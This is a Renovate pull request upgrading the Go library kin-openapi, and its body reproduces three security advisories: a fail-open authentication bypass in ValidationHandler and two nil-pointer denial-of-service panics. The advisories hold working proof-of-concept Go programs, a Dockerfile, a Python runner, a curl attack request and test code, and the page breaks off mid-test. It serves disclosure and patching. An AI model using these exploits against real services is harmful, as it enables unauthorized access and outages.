Skip to content

Update module github.com/getkin/kin-openapi to v0.149.0 [SECURITY] - #211

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/go-github.com-getkin-kin-openapi-vulnerability
Open

renovate[bot] wants to merge 1 commit into
masterfrom
renovate/go-github.com-getkin-kin-openapi-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 13, 2026 •

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
github.com/getkin/kin-openapi v0.142.0 → v0.149.0 age confidence

kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default

GHSA-r277-6w6q-xmqw

More information

Details

Summary

ValidationHandler.Load() in getkin/kin-openapi silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc, which always returns nil without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI security requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on ValidationHandler as its enforcement middleware.

Details

ValidationHandler is an HTTP middleware exported by openapi3filter that validates incoming requests and responses against a loaded OpenAPI specification. Its Load() method initialises default fields before the handler begins serving:

// openapi3filter/validation_handler.go:47-49
if h.AuthenticationFunc == nil {
    h.AuthenticationFunc = NoopAuthenticationFunc
}

NoopAuthenticationFunc is defined as:

// openapi3filter/validation_handler.go:17-18
func NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil }

It always returns nil, meaning every security scheme check it handles is automatically approved.

When a request arrives, ServeHTTP → before → validateRequest assembles a RequestValidationInput with the current AuthenticationFunc (now the no-op) injected into Options:

// openapi3filter/validation_handler.go:91-103
options := &Options{
    AuthenticationFunc: h.AuthenticationFunc,
}
requestValidationInput := &RequestValidationInput{
    Request:    r,
    PathParams: pathParams,
    Route:      route,
    Options:    options,
}
if err = ValidateRequest(r.Context(), requestValidationInput); err != nil {
    return err
}

Inside ValidateRequest, each security requirement calls options.AuthenticationFunc:

// openapi3filter/validate_request.go:436-438
f := options.AuthenticationFunc
if f == nil {
    return ErrAuthenticationServiceMissing   // fail-closed path — never reached via ValidationHandler
}
// ...
// openapi3filter/validate_request.go:497-503
if err := f(ctx, &AuthenticationInput{...}); err != nil {
    return err
}

Because f is the no-op (not nil), the ErrAuthenticationServiceMissing guard is never triggered and f(...) returns nil, clearing the security requirement. Control then proceeds to the protected handler (validation_handler.go:61-62).

The critical contradiction is that callers who use ValidateRequest directly with a nil AuthenticationFunc get fail-closed behavior (ErrAuthenticationServiceMissing), while callers who use the higher-level ValidationHandler with a nil AuthenticationFunc get fail-open behavior. Since omitting AuthenticationFunc is the natural default, the majority of real-world integrations are vulnerable.

Affected source file and line: openapi3filter/validation_handler.go:47–49 (commit 30e2923, tag v0.143.0).

PoC

Environment

Docker (any version supporting multi-stage builds)
Go 1.25 (inside the container via golang:1.25-alpine)
getkin/kin-openapi v0.143.0 (local source copy)

Step 1 — Build the Docker image

From the repository root (parent of vuln-001/):

docker build \
  -t vuln001-auth-bypass-poc \
  -f vuln-001/Dockerfile \
  reports/github_web_233_getkin__kin-openapi

The Dockerfile copies the local kin-openapi source into /kin-openapi/ inside the image and builds a Go binary (/poc-binary) from main.go. The go.mod inside the image uses a replace directive pointing to /kin-openapi, so no network access to the Go module proxy is required.

Step 2 — Run the container

docker run --rm --network none vuln001-auth-bypass-poc

Step 3 (alternative) — Use the Python helper

python3 vuln-001/poc.py --no-cleanup

What the PoC does

main.go creates a temporary OpenAPI 3.0 spec that declares GET /secret as protected by an apiKey security scheme:

paths:
  /secret:
    get:
      security:
        - apiKey: []
components:
  securitySchemes:
    apiKey:
      type: apiKey
      name: X-Api-Key
      in: header

It then constructs a ValidationHandler without setting AuthenticationFunc, calls Load(), and sends a request with no X-Api-Key header:

GET /secret HTTP/1.1
Host: example.test

##### X-Api-Key header is intentionally absent

Expected (vulnerable) output

=== CONTRAST: Direct ValidateRequest with nil AuthenticationFunc ===
  Direct ValidateRequest (nil auth) => ERROR: security requirements failed: missing AuthenticationFunc
  -> Fail-CLOSED behavior confirmed: missing auth function is rejected

=== EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc ===
  OpenAPI spec defines: security: [{apiKey: []}] on GET /secret
  ValidationHandler.AuthenticationFunc: NOT SET (nil)
  Load() will inject NoopAuthenticationFunc, which always returns nil

  Request:  GET /secret  (X-Api-Key header: absent)
  Response: status=200  body="SECRET_DATA\n"

[EXPLOIT SUCCESS] Auth bypass confirmed!
  Protected resource /secret returned SECRET_DATA without credentials.
  ValidationHandler.Load() silently injected NoopAuthenticationFunc.
  Security requirement was bypassed. VULN-001 REPRODUCED.

The contrast block confirms fail-closed behavior when ValidateRequest is called directly. The exploit block confirms fail-open behavior through ValidationHandler. Status 200 and SECRET_DATA are returned without any credential.

Remediation patch

--- a/openapi3filter/validation_handler.go
+++ b/openapi3filter/validation_handler.go
@@
  if h.Handler == nil {
      h.Handler = http.DefaultServeMux
  }
- if h.AuthenticationFunc == nil {
-     h.AuthenticationFunc = NoopAuthenticationFunc
- }
  if h.ErrorEncoder == nil {
      h.ErrorEncoder = DefaultErrorEncoder
  }

After this change, a nil AuthenticationFunc propagates into ValidateRequest, which returns ErrAuthenticationServiceMissing and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc.

Impact

This is an authentication bypass vulnerability (CWE-287). Any application that:

  1. uses openapi3filter.ValidationHandler as its HTTP middleware, and
  2. declares one or more security requirements in its OpenAPI specification, and
  3. does not explicitly set AuthenticationFunc,

is fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded.

Affected parties include all Go services that adopt ValidationHandler as a drop-in validation layer and rely on OpenAPI security declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the "getting started" path are affected without any additional mistake.

The confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability.

Reproduction artifacts
Dockerfile
FROM golang:1.25-alpine

##### Install git (needed by go mod for some packages)
RUN apk add --no-cache git

WORKDIR /workspace

##### Copy the vulnerable kin-openapi repository as a local module replacement
COPY repo/ /kin-openapi/

##### Set up the PoC Go module
RUN mkdir -p /workspace/poc
WORKDIR /workspace/poc

##### Create go.mod that uses the local copy of the vulnerable kin-openapi
RUN cat > go.mod <<'EOF'
module kin-openapi-auth-bypass-poc

go 1.25

require github.com/getkin/kin-openapi v0.143.0

replace github.com/getkin/kin-openapi => /kin-openapi
EOF

##### Copy the PoC source (build context is the parent directory of vuln-001/)
COPY vuln-001/main.go /workspace/poc/main.go

##### Resolve dependencies and build
RUN go mod tidy && \
    go build -o /poc-binary .

##### Run the PoC
CMD ["/poc-binary"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default
Repository: getkin/kin-openapi v0.143.0
CWE: CWE-287 (Improper Authentication)
CVSS: 9.1 (Critical)

Vulnerability Summary:
    ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc.
    NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement
    passes without validation when the user forgets to set AuthenticationFunc.

    Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing
    (fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open).

Usage:
    python3 poc.py [--build-dir <dir>] [--image <name>] [--no-cleanup]
"""

import argparse
import os
import subprocess
import sys
import json

IMAGE_NAME = "vuln001-auth-bypass-poc"
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
REPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), "repo")

SUCCESS_MARKER = "[EXPLOIT SUCCESS]"
EXPECTED_STATUS = "status=200"
EXPECTED_BODY = 'body="SECRET_DATA\\n"'

def run(cmd, **kwargs):
    """Run a shell command and return (returncode, stdout, stderr)."""
    print(f"[CMD] {' '.join(cmd)}")
    result = subprocess.run(cmd, capture_output=True, text=True, **kwargs)
    if result.stdout:
        print(result.stdout, end="")
    if result.stderr:
        print(result.stderr, end="", file=sys.stderr)
    return result.returncode, result.stdout, result.stderr

def build_image(build_dir):
    """Build the Docker image containing the PoC binary."""
    print("\n[*] Building Docker image ...")
    rc, stdout, stderr = run([
        "docker", "build",
        "--build-arg", f"REPO_DIR={REPO_DIR}",
        "-t", IMAGE_NAME,
        "-f", os.path.join(build_dir, "Dockerfile"),
        # Build context is the reports root so both Dockerfile and repo/ are reachable
        os.path.dirname(build_dir),
    ])
    if rc != 0:
        print(f"[ERROR] Docker build failed (exit {rc})", file=sys.stderr)
        sys.exit(rc)
    print("[*] Docker build succeeded.")
    return f"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, 'Dockerfile')} {os.path.dirname(build_dir)}"

def run_container():
    """Run the container and capture output."""
    print("\n[*] Running PoC container ...")
    rc, stdout, stderr = run([
        "docker", "run", "--rm",
        "--network", "none",   # no network access needed
        IMAGE_NAME,
    ])
    combined = stdout + stderr
    return rc, combined

def evaluate(exit_code, output):
    """Determine whether the exploit was confirmed."""
    passed = (
        exit_code == 0
        and SUCCESS_MARKER in output
        and EXPECTED_STATUS in output
        and EXPECTED_BODY in output
    )
    return passed

def cleanup_image():
    """Remove the Docker image."""
    print(f"\n[*] Removing Docker image {IMAGE_NAME} ...")
    run(["docker", "rmi", "-f", IMAGE_NAME])

def main():
    global IMAGE_NAME
    parser = argparse.ArgumentParser(description="VULN-001 Auth Bypass PoC runner")
    parser.add_argument("--build-dir", default=SCRIPT_DIR,
                        help="Directory containing Dockerfile and main.go")
    parser.add_argument("--image", default=IMAGE_NAME,
                        help="Docker image name to build/run")
    parser.add_argument("--no-cleanup", action="store_true",
                        help="Keep the Docker image after the run")
    args = parser.parse_args()
    IMAGE_NAME = args.image

    print("=" * 60)
    print("VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default")
    print("=" * 60)
    print(f"  Build dir : {args.build_dir}")
    print(f"  Repo dir  : {REPO_DIR}")
    print(f"  Image     : {IMAGE_NAME}")

    build_cmd = build_image(args.build_dir)
    run_cmd = f"docker run --rm --network none {IMAGE_NAME}"

    exit_code, output = run_container()

    if not args.no_cleanup:
        cleanup_image()

    passed = evaluate(exit_code, output)

    print("\n" + "=" * 60)
    if passed:
        print("[RESULT] PASS — Auth bypass CONFIRMED")
        print("  The protected handler returned SECRET_DATA without credentials.")
        print("  ValidationHandler.Load() injected NoopAuthenticationFunc silently.")
    else:
        print(f"[RESULT] FAIL — Exploit not confirmed (exit={exit_code})")

    print(f"\nContainer exit code : {exit_code}")
    print(f"Success marker found: {SUCCESS_MARKER in output}")
    print(f"Status 200 found    : {EXPECTED_STATUS in output}")
    print(f"Secret body found   : {EXPECTED_BODY in output}")

    # Exit with code that signals pass/fail
    sys.exit(0 if passed else 1)

if __name__ == "__main__":
    main()

Severity

  • CVSS Score: 9.1 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


kin-openapi openapi3filter: unauthenticated nil-pointer panic when validating a request against a content parameter whose media type has no schema

CVE-2026-73502 / GHSA-jpcw-4wr7-c3vq

More information

Details

Field Value
Ecosystem Go
Package github.com/getkin/kin-openapi
Affected versions <= 0.143.0 (introduced in v0.2.0, PR #​90, 2019-05-07; reproduced on HEAD 30e2923)
Patched versions 0.144.0

Summary

openapi3filter.ValidateRequest contains a NULL-pointer-dereference denial of service: any unauthenticated client can crash the request-validation path with a single HTTP request. When an operation declares a content parameter (as opposed to a schema parameter) whose media type object has no schema, request validation dereferences that missing schema and panics. The document is legal under the OpenAPI Specification — kin-openapi's own doc.Validate() accepts it — and the defect affects both OpenAPI 3.0.x and 3.1.x. Depending on how the library is wired into the server (see Impact), this ranges from a per-request abort with unbounded panic-log growth to a full remote process crash.

Details

The decoder used for content parameters when no custom ParamDecoder is configured (the library default), defaultContentParameterDecoder, dereferences the media-type schema without a nil check.

openapi3filter/req_resp_decoder.go, around line 197:

mt := content.Get("application/json")
if mt == nil {                       // media-type OBJECT is guarded ...
    err = fmt.Errorf("parameter %q has no content schema", param.Name)
    return
}
outSchema = mt.Schema.Value          // ... but mt.Schema is NOT — panics when nil

The function guards param.Content == nil, len(content) != 1, and mt == nil, but never mt.Schema == nil.

Why a schema-less content parameter is legal (so the sink is reachable — doc.Validate() returns no error), in both 3.0.x and 3.1.x:

  • openapi3/parameter.go — Parameter.Validate only enforces exactly one of schema XOR content; a parameter with content (and no schema) satisfies it.
  • openapi3/media_type.go — MediaType.Validate validates the schema only when it is non-nil, so an absent schema is not a validation error.

Call path to the panic:

ValidateRequest                          openapi3filter/validate_request.go:83
  └─ ValidateParameter                   openapi3filter/validate_request.go:177   (parameter.Content != nil)
       └─ decodeContentParameter         openapi3filter/req_resp_decoder.go:166   (attacker supplies value ⇒ found)
            └─ defaultContentParameterDecoder   openapi3filter/req_resp_decoder.go:197   ← nil deref / panic

Authentication note: ValidateRequest validates security before parameters, but the panic is reachable without credentials whenever the target operation declares no security requirement, or when no AuthenticationFunc is configured (it is opt-in). A single unauthenticated operation anywhere in the served spec is sufficient. If an operation does declare security and a rejecting AuthenticationFunc is wired, that request is rejected before decoding.

PoC

Reproduced end-to-end against HEAD (30e2923) with a real net/http server and a stock http.Client.

1. Minimal OpenAPI 3.0.3 document (legal — doc.Validate() passes). The cfg query parameter uses content with an application/json media type that has no schema:

openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
  /c:
    get:
      parameters:
        - name: cfg
          in: query
          content:
            application/json: {}      # media type object with NO schema
      responses:
        "200": {description: ok}

2. A complete, self-contained program. Drop this into a directory inside a checkout of github.com/getkin/kin-openapi and run it with go run .. It loads the document above, asserts doc.Validate() accepts it (proving reachability), serves it behind request validation exactly as the recommended middleware does, and sends one unauthenticated GET /c?cfg=1:

package main

import (
	"context"
	"fmt"
	"net/http"
	"net/http/httptest"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const spec = `
openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
  /c:
    get:
      parameters:
        - name: cfg
          in: query
          content:
            application/json: {}      # media type object with NO schema
      responses:
        "200": {description: ok}
`

func main() {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(spec))
	if err != nil {
		panic(err)
	}
	// Reachability: the malformed-but-legal document must validate.
	if err := doc.Validate(context.Background()); err != nil {
		panic("doc.Validate rejected the spec, not reachable: " + err.Error())
	}
	router, err := gorillamux.NewRouter(doc)
	if err != nil {
		panic(err)
	}

	// Handler mirrors openapi3filter.ValidationHandler: find route, validate.
	h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		route, pathParams, err := router.FindRoute(r)
		if err != nil {
			http.Error(w, err.Error(), http.StatusNotFound)
			return
		}
		// Panics here on the crafted request (req_resp_decoder.go:197).
		if err := openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
			Request:    r,
			PathParams: pathParams,
			Route:      route,
			Options:    &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		}); err != nil {
			http.Error(w, err.Error(), http.StatusBadRequest)
			return
		}
		w.WriteHeader(http.StatusOK)
	})

	srv := httptest.NewServer(h)
	defer srv.Close()

	// The single, unauthenticated attack request.
	resp, err := http.Get(srv.URL + "/c?cfg=1")
	if err != nil {
		// Expected: the server goroutine panicked, so the client sees EOF.
		fmt.Printf("client received an aborted response (expected): %v\n", err)
		return
	}
	defer resp.Body.Close()
	fmt.Printf("UNEXPECTED: got HTTP %d without a panic\n", resp.StatusCode)
}

3. Observed result — the request goroutine panics inside validation, and the client's http.Get returns an EOF:

http: panic serving 127.0.0.1:xxxxx: runtime error: invalid memory address or nil pointer dereference
github.com/getkin/kin-openapi/openapi3filter.defaultContentParameterDecoder(...)
	openapi3filter/req_resp_decoder.go:197
github.com/getkin/kin-openapi/openapi3filter.decodeContentParameter(...)
	openapi3filter/req_resp_decoder.go:166
github.com/getkin/kin-openapi/openapi3filter.ValidateParameter(...)
	openapi3filter/validate_request.go:177
github.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)
	openapi3filter/validate_request.go:83

Swapping the media type for one that carries a schema (application/json: {schema: {type: object}}) makes the same request return a clean 400 instead of panicking, confirming the missing schema is the cause.

Impact

This is an unauthenticated remote denial of service (CWE-476) against any service that validates incoming requests with openapi3filter and serves a spec containing at least one content parameter whose media type lacks a schema.

The precise consequence depends on which goroutine runs the panic and whether a recover() covers it:

Wiring Recovered by net/http? Result
Synchronous middleware / handler on net/http (incl. openapi3filter.ValidationHandler) Yes Process survives; the one request is aborted. A remote unauthenticated party can still drive connection churn + unbounded http: panic serving log growth.
ValidateRequest on an app-spawned goroutine (fan-out, errgroup, async pre-check) No Whole process crashes on a single unauthenticated request unless the app added its own recover().
Non-net/http host (fasthttp adaptor, gRPC-gateway shim, CLI, offline/batch spec validator) No Whole process crashes.

This is why the suggested CVSS uses A:L (Base 5.3): under the recommended synchronous net/http wiring the panic is recovered per-connection. Reviewers may reasonably raise it to A:H (Base 7.5) for the spawned-goroutine and non-net/http integrations, where a single request kills the process.


Remediation (suggested)

Add a mt.Schema == nil guard mirroring the existing mt == nil guard, so a schema-less content parameter yields a clean validation error instead of a panic:

mt := content.Get("application/json")
if mt == nil {
    err = fmt.Errorf("parameter %q has no content schema", param.Name)
    return
}
if mt.Schema == nil {
    err = fmt.Errorf("parameter %q content media type has no schema", param.Name)
    return
}
outSchema = mt.Schema.Value

The unmarshal closure immediately below already tolerates a nil schema (it checks paramSchema != nil), so returning early on nil mt.Schema is consistent with surrounding intent.

Workarounds for consumers, pending a patch:

  • Ensure every content parameter in served specs declares a schema, or reject such specs at load time.
  • Supply a custom ParamDecoder that guards mt.Schema == nil.
  • Run request validation inside a handler with an explicit recover() — especially if validation runs off the request goroutine or on a non-net/http host.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items

CVE-2026-97394 / GHSA-p6wj-qrr4-pgh5

More information

Details

Summary

A nil-pointer dereference in openapi3filter lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI 3.1 operation that declares type: array without items. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting items, and doc.Validate() accepts such schemas with Schema.Items == nil. Request/response decoders then dereference Items with no nil check. The panic is deterministic (100%) on every request to the affected operation. There is no recover() in openapi3filter; under handlers without per-request recover the process can exit.

Details

Spec-validation asymmetry. OpenAPI 3.0 rejects array schemas that omit items (openapi3/schema.go around the TypeArray / newSchemaItemsRequired branch). For OpenAPI 3.1, T.Validate enables jsonSchema2020ValidationEnabled, so that check is skipped and Schema.Items remains nil after a clean doc.Validate().

Vulnerable decoder. The primary request-side crash is in UrlencodedBodyDecoder (still present on this checkout at L1421):

case propType.Is("array"):
    items := propSchema.Value.Items.Value  // Items == nil → panic

This runs during schema inspection before form values are parsed. Any non-empty application/x-www-form-urlencoded body for the operation reaches the dereference (an empty body is rejected earlier when requestBody.required is true, and never enters the decoder).

The same nil Items also crashes:

Path Location Trigger
MultipartBodyDecoder req_resp_decoder.go ~1564 → 1579 multipart/form-data part named like the array property
parseArray → parsePrimitive req_resp_decoder.go ~1129 / 1151 Array-typed response headers via ValidateResponse, and path/cookie array params

Middleware / ValidationHandler call ValidateRequest / ValidateResponse directly with no recover, so the panic escapes the library into the application.

Recommended fix. Guard nil Items and return a structured decode/validation error, e.g.:

 case propType.Is("array"):
+	if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil {
+		return nil, fmt.Errorf("unsupported schema of request body's property %q: array items required for decoding", propName)
+	}
 	items := propSchema.Value.Items.Value

Apply equivalent guards in MultipartBodyDecoder and parseArray before calling parsePrimitive.

PoC

Verified against revision c11a4812ba7be3ee3d81453be0c397ee84c238d5, Go 1.25, darwin/arm64.

1. Spec — OpenAPI 3.1 operation with urlencoded body and type: array property without items:

openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}

2. E2E program — net/http server using the same public entrypoint (gorillamux → openapi3filter.ValidateRequest) real middleware uses. Save as main.go in a module that depends on github.com/getkin/kin-openapi at a vulnerable revision, then go run .:

package main

import (
	"fmt"
	"log"
	"net/http"
	"strings"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const spec = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

func main() {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(spec))
	if err != nil {
		log.Fatal(err)
	}
	if err := doc.Validate(loader.Context); err != nil {
		log.Fatalf("doc.Validate rejected (unexpected for 3.1): %v", err)
	}
	fmt.Println("SPEC_ACCEPTED; Items ==", doc.Paths.Value("/f").Post.RequestBody.Value.
		Content.Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value.Items)

	router, err := gorillamux.NewRouter(doc)
	if err != nil {
		log.Fatal(err)
	}

	// Direct call (no net/http recover): proves the library itself panics.
	req, _ := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	route, pp, _ := router.FindRoute(req)
	func() {
		defer func() {
			if r := recover(); r != nil {
				fmt.Printf("DIRECT_PANIC: %v\n", r)
			}
		}()
		_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
			Request: req, PathParams: pp, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
		fmt.Println("DIRECT_PANIC: none (unexpected)")
	}()

	mux := http.NewServeMux()
	mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
		route, pathParams, err := router.FindRoute(r)
		if err != nil {
			http.Error(w, err.Error(), http.StatusNotFound)
			return
		}
		err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
			Request: r, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
		if err != nil {
			http.Error(w, err.Error(), http.StatusBadRequest)
			return
		}
		w.WriteHeader(http.StatusOK)
		_, _ = w.Write([]byte("ok\n"))
	})

	addr := "127.0.0.1:8085"
	fmt.Printf("listening on http://%s/f\n", addr)
	fmt.Println("attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://" + addr + "/f")
	log.Fatal(http.ListenAndServe(addr, mux))
}

3. Observed output (go run .):

SPEC_ACCEPTED; Items == <nil>
DIRECT_PANIC: runtime error: invalid memory address or nil pointer dereference
listening on http://127.0.0.1:8085/f

Then:

curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://127.0.0.1:8085/f

Server log:

http: panic serving 127.0.0.1:…: runtime error: invalid memory address or nil pointer dereference
… openapi3filter.UrlencodedBodyDecoder …/req_resp_decoder.go:1421
… openapi3filter.ValidateRequest …

Stack pins the fault to UrlencodedBodyDecoder at req_resp_decoder.go:1421, called from ValidateRequest → ValidateRequestBody → decodeBody.

Attack request:

POST /f HTTP/1.1
Host: victim
Content-Type: application/x-www-form-urlencoded

tags=a

(Any non-empty body is enough; form content is irrelevant because Items is dereferenced during schema inspection before parsing.)

4. Regression / multi-surface test suite — save as e.g. openapi3filter/array_items_nil_panic_test.go in a checkout of the module and run go test -run TestArrayItemsNilPanic ./openapi3filter/ -v:

package openapi3filter_test

import (
	"bytes"
	"context"
	"fmt"
	"io"
	"mime/multipart"
	"net/http"
	"net/http/httptest"
	"strings"
	"testing"

	"github.com/stretchr/testify/require"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const urlencodedSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

const urlencodedSpec30 = `
openapi: 3.0.3
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

const multipartSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /upload:
    post:
      requestBody:
        required: true
        content:
          multipart/form-data:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

const responseHeaderSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /hdr:
    get:
      responses:
        '200':
          description: ok
          headers:
            X-Tags:
              schema: {type: array}
`

func catchPanic(fn func()) (panicValue any) {
	defer func() { panicValue = recover() }()
	fn()
	return nil
}

func TestArrayItemsNilPanic_OpenAPI31Accepts(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	schema := doc.Paths.Value("/f").Post.RequestBody.Value.Content.
		Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value
	require.True(t, schema.Type.Is("array"))
	require.Nil(t, schema.Items)
}

func TestArrayItemsNilPanic_OpenAPI30Rejects(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec30))
	require.NoError(t, err)
	require.Error(t, doc.Validate(loader.Context))
}

func TestArrayItemsNilPanic_UrlencodedValidateRequest(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
	require.NoError(t, err)
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	route, pathParams, err := router.FindRoute(req)
	require.NoError(t, err)

	got := catchPanic(func() {
		_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
			Request: req, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
	})
	require.NotNil(t, got)
	require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}

func TestArrayItemsNilPanic_MultipartValidateRequest(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(multipartSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	var buf bytes.Buffer
	w := multipart.NewWriter(&buf)
	require.NoError(t, w.WriteField("tags", "a"))
	require.NoError(t, w.Close())

	req, err := http.NewRequest(http.MethodPost, "/upload", &buf)
	require.NoError(t, err)
	req.Header.Set("Content-Type", w.FormDataContentType())
	route, pathParams, err := router.FindRoute(req)
	require.NoError(t, err)

	got := catchPanic(func() {
		_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
			Request: req, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
	})
	require.NotNil(t, got)
	require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}

func TestArrayItemsNilPanic_ResponseHeaderValidateResponse(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(responseHeaderSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	req, err := http.NewRequest(http.MethodGet, "/hdr", nil)
	require.NoError(t, err)
	route, pathParams, err := router.FindRoute(req)
	require.NoError(t, err)

	got := catchPanic(func() {
		_ = openapi3filter.ValidateResponse(loader.Context, &openapi3filter.ResponseValidationInput{
			RequestValidationInput: &openapi3filter.RequestValidationInput{
				Request: req, PathParams: pathParams, Route: route,
				Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
			},
			Status: http.StatusOK,
			Header: http.Header{"X-Tags": []string{"a,b"}},
			Body:   io.NopCloser(strings.NewReader("")),
		})
	})
	require.NotNil(t, got)
	require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}

func TestArrayItemsNilPanic_E2EHTTPServer(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	var panicCount int
	mux := http.NewServeMux()
	mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
		defer func() {
			if recover() != nil {
				panicCount++
